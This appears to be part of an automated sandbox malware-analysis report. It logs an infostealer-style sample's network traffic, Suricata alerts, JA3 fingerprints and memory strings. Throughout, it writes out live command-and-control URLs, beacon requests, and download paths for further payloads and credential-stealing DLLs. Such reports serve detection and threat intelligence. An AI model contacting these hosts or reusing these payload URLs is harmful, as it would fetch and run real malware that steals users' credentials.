r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFFFA743CEFFFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGCFHIDAKECFHIEBFCGHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 35 45 30 31 35 42 38 41 39 38 32 33 33 33 33 36 34 31 39 32 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 2d 2d 0d 0a Data Ascii: ------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="hwid"A95E015B8A982333364192------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="build"save------HDGCFHIDAKECFHIEBFCG--
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 46 41 37 34 33 43 45 46 46 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFFFA743CEFFFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 46 41 37 34 33 43 45 46 46 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFFFA743CEFFFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 46 41 37 34 33 43 45 46 46 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFFFA743CEFFFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 46 41 37 34 33 43 45 46 46 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFFFA743CEFFFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 46 41 37 34 33 43 45 46 46 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFFFA743CEFFFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 46 41 37 34 33 43 45 46 46 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFFFA743CEFFFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCBAEBAEBFHCAKFCAKEHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 35 45 30 31 35 42 38 41 39 38 32 33 33 33 33 36 34 31 39 32 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 2d 2d 0d 0a Data Ascii: ------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="hwid"A95E015B8A982333364192------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="build"save------AFCBAEBAEBFHCAKFCAKE--
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKECAFIDAFIECBKEHDHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 35 45 30 31 35 42 38 41 39 38 32 33 33 33 33 36 34 31 39 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 43 41 46 49 44 41 46 49 45 43 42 4b 45 48 44 2d 2d 0d 0a Data Ascii: ------JEBKECAFIDAFIECBKEHDContent-Disposition: form-data; name="hwid"A95E015B8A982333364192------JEBKECAFIDAFIECBKEHDContent-Disposition: form-data; name="build"save------JEBKECAFIDAFIECBKEHD--

Source: Joe Sandbox View

IP Address: 91.202.233.158 91.202.233.158

Source: Joe Sandbox View

ASN Name: M247GB M247GB

Source: Joe Sandbox View	JA3 fingerprint: 74954a0c86284d0d6e1c4efefe92b521
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49603 -> 185.215.113.117:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49605 -> 194.116.215.195:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49611 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49615 -> 185.215.113.117:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49609 -> 185.215.113.26:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49613 -> 185.215.113.17:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49616 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49620 -> 185.215.113.117:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49623 -> 185.215.113.117:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49626 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49629 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49632 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49634 -> 185.215.113.103:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49631 -> 91.202.233.158:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49637 -> 185.215.113.103:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49640 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49651 -> 185.215.113.103:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49659 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49646 -> 104.21.64.194:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: drawzhotdog.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=ufsw2WljgNe0HeEnxGfuql1fqO2W1xBNgPBmcLBXHDE-1727446725-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 42Host: drawzhotdog.shop

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.117

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 6_2_0020BD60 InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,InternetReadFile,

6_2_0020BD60

Source: global traffic	HTTP traffic detected: GET /file1.exe HTTP/1.1Host: glthub.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download/Microsoft-Edge.exe HTTP/1.1Host: eijfrhegrtbrfcd.online
Source: global traffic	HTTP traffic detected: GET /download/conf1.php HTTP/1.1Host: eijfrhegrtbrfcd.onlineUser-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /inc/gold.exe HTTP/1.1Host: 185.215.113.117
Source: global traffic	HTTP traffic detected: GET /12dsvc.exe HTTP/1.1Host: 194.116.215.195
Source: global traffic	HTTP traffic detected: GET /Nework.exe HTTP/1.1Host: 185.215.113.26
Source: global traffic	HTTP traffic detected: GET /inc/stealc_default2.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.17Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /inc/needmoney.exe HTTP/1.1Host: 185.215.113.117
Source: global traffic	HTTP traffic detected: GET /f1ddeb6592c03206/sqlite3.dll HTTP/1.1Host: 185.215.113.17Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /inc/penis.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /f1ddeb6592c03206/freebl3.dll HTTP/1.1Host: 185.215.113.17Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /f1ddeb6592c03206/mozglue.dll HTTP/1.1Host: 185.215.113.17Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /inc/crypted.exe HTTP/1.1Host: 185.215.113.117
Source: global traffic	HTTP traffic detected: GET /f1ddeb6592c03206/msvcp140.dll HTTP/1.1Host: 185.215.113.17Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /f1ddeb6592c03206/nss3.dll HTTP/1.1Host: 185.215.113.17Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /inc/LummaC222222.exe HTTP/1.1Host: 185.215.113.117
Source: global traffic	HTTP traffic detected: GET /f1ddeb6592c03206/softokn3.dll HTTP/1.1Host: 185.215.113.17Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /f1ddeb6592c03206/vcruntime140.dll HTTP/1.1Host: 185.215.113.17Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /inc/newbundle2.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /inc/rstxdhuj.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 91.202.233.158Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /inc/cccc2.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET /3836fd5700214436/sqlite3.dll HTTP/1.1Host: 91.202.233.158Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET /3836fd5700214436/freebl3.dll HTTP/1.1Host: 91.202.233.158Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /3836fd5700214436/mozglue.dll HTTP/1.1Host: 91.202.233.158Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /3836fd5700214436/msvcp140.dll HTTP/1.1Host: 91.202.233.158Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /inc/neon.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /3836fd5700214436/nss3.dll HTTP/1.1Host: 91.202.233.158Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /3836fd5700214436/softokn3.dll HTTP/1.1Host: 91.202.233.158Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /3836fd5700214436/vcruntime140.dll HTTP/1.1Host: 91.202.233.158Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET /soka/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: penis.exe, 00000019.00000002.2964689421.0000000002F6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: IndexedDB\https_www.youtube.com_0.indexeddb.leveldb equals www.youtube.com (Youtube)
Source: penis.exe, 00000019.00000002.2964689421.0000000002F6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: IndexedDB\https_www.youtube.com_0.indexeddb.leveldb@\ equals www.youtube.com (Youtube)
Source: penis.exe, 00000019.00000002.2964689421.0000000002F6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: IndexedDB\https_www.youtube.com_0.indexeddb.leveldb`, equals www.youtube.com (Youtube)
Source: penis.exe, 00000019.00000002.2964689421.0000000002F6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: q#www.youtube.com_0.indexeddb.leveldb equals www.youtube.com (Youtube)
Source: penis.exe, 00000019.00000002.2964689421.0000000002F6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: q3IndexedDB\https_www.youtube.com_0.indexeddb.leveldb@\ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: google.com
Source: global traffic	DNS traffic detected: DNS query: drawzhotdog.shop
Source: global traffic	DNS traffic detected: DNS query: glthub.ru
Source: global traffic	DNS traffic detected: DNS query: eijfrhegrtbrfcd.online
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: accounts.youtube.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: drawzhotdog.shop

Source: axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/mine/random.exe
Source: axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/mine/random.exe&
Source: axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.103/steam/random.exe
Source: axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.117/inc/LummaC222222.exe
Source: axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.117/inc/crypted.exe
Source: axplong.exe, 00000006.00000002.3518419435.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.117/inc/gold.exe8
Source: axplong.exe, 00000006.00000002.3518419435.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.117/inc/gold.exeP
Source: axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.117/inc/needmoney.exe
Source: axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.117/inc/needmoney.exep6
Source: axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/15.113.16/Data
Source: axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/15.113.16/ferences.SourceAumid001
Source: axplong.exe, 00000006.00000003.3252257395.0000000000F15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/C
Source: axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php
Source: axplong.exe, 00000006.00000002.3526057863.000000000598A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php)
